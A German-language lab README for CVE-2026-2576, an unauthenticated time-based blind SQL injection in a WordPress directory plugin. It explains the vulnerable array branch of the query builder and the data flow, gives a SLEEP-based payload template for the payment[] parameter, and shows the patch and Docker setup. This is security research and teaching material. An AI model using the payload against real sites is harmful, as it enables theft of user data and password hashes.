
CVE-2026-2576 — Business Directory Plugin SQLi PoC (Lokale Einrichtung). Nicht authentifizierte zeitbasierte Blind-SQL-Injection im Business Directory Plugin für WordPress ≤ 6.4.21
Unauthentifizierte zeitbasierte Blind-SQL-Injection
Business Directory Plugin für WordPress ≤ 6.4.21
| Feld | Detail |
|---|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories für WordPress |
| Anbieter | strategy11team |
| Betroffen | Alle Versionen ≤ 6.4.21 |
| Gepatcht | 6.4.22 |
| Typ | Zeitbasierte Blind-SQL-Injection (CWE-89) |
| Authentifizierung | Keine — vollständig ohne Authentifizierung |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Zuweiser | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Offengelegt | 18. Februar 2026 |
Das Business Directory Plugin ist ein weit verbreitetes WordPress-Plugin zum
Erstellen von Listing-Verzeichnissen mit Zahlungsunterstützung. Ein Fehler in
seinem ORM-Query-Builder ermöglicht es einem nicht authentifizierten Angreifer,
eine zeitbasierte Blind-SQL-Injection über den payment-Abfrageparameter
durchzuführen, wodurch der Inhalt der Datenbank abgeleitet werden kann.
Die Schwachstelle befindet sich im ORM-Query-Builder:
Datei: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VERWUNDBAR — keine Bereinigung, direkte String-Verkettung
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Sicher — verwendet $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Wenn $v ein Skalar ist, verwendet der Code korrekt $wpdb->prepare(). Wenn
$v ein Array ist, fällt er in den unsicheren Zweig und verkettet die Werte
direkt in den SQL-String ohne Escape.
Der Checkout-Controller (includes/controllers/pages/class-checkout.php)
liest den payment-Anfrageparameter und übergibt ihn an das ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id als Wert übergeben
);
}
PHP konvertiert automatisch payment[]=value in der Abfragezeichenfolge in ein
Array $_GET['payment'] = ['value']. Dadurch wird $v in
filter_args() zu einem Array, das den unsicheren Zweig trifft.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← Array durch []-Notation
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → unsicherer Zweig
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
Generiertes SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
Das -- - kommentiert das abschließende ') aus. Das IF() erzeugt ein
boolesches Orakel: Wenn die Bedingung TRUE ist, wird SLEEP(N) ausgelöst und
die Antwort verzögert; bei FALSE erfolgt die Antwort sofort.
Hinweis: Das ORM führt die Abfrage zweimal pro Anfrage aus (einmal in get(), einmal
in maybe_execute_query()), sodass ein SLEEP(1)-Payload eine beobachtbare
Verzögerung von ~2 Sekunden erzeugt und SLEEP(2) ~4 Sekunden.
Ein nicht authentifizierter Angreifer kann Datenbankinhalte Zeichen für Zeichen durch zeitbasierte Antworten ableiten und extrahieren, einschließlich:
wp_users), Benutzernamen, E-Mail-Adressen, Passwort-HashesDer Fix in Version 6.4.22 fügt dem Array-Zweig von
filter_args() eine Bereinigung hinzu:
// VORHER (verwundbar)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// NACHHER (gepatcht)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python-Abhängigkeiten installieren:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Warten, bis Folgendes angezeigt wird:
╔══════════════════════════════════════════════════════════╗
║ Lab-Einrichtung abgeschlossen! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP-Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VERWUNDBAR) ║
║ BD-Seiten-ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Erwartet: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+